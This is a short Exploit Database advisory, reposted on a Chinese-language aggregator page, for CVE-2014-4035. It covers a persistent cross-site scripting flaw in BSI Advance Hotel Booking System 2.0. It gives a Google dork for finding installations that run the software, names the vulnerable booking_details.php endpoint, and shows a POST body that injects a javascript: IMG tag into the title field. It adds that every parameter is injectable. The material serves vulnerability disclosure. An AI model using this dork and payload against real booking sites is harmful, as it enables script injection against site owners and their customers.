BSI Advance Hotel Booking System 2.0 – ‘booking_details.php Persistent Cross-Site Scripting

• Exploit Database
• 54 阅读

• 作者： Angelo Ruwantha
  日期： 2019-08-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47219/

• # Exploit Title:BSI Advance Hotel Booking System Persistent XSS
  # Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
  # Date: Wed Jun 4 2014
  # Exploit Author: Angelo Ruwantha
  # Vendor Homepage: http://www.bestsoftinc.com
  # Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
  # Version: V2.0
  # Tested on: archlinux
  # CVE : CVE-2014-4035
  
  Vulnerability
  ========================
  
  [+]Method:POST
  
  1.http://URL/hotel-booking/booking_details.php (;persistent XSS)
  
  allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=
  
  
  every parameter injectable :)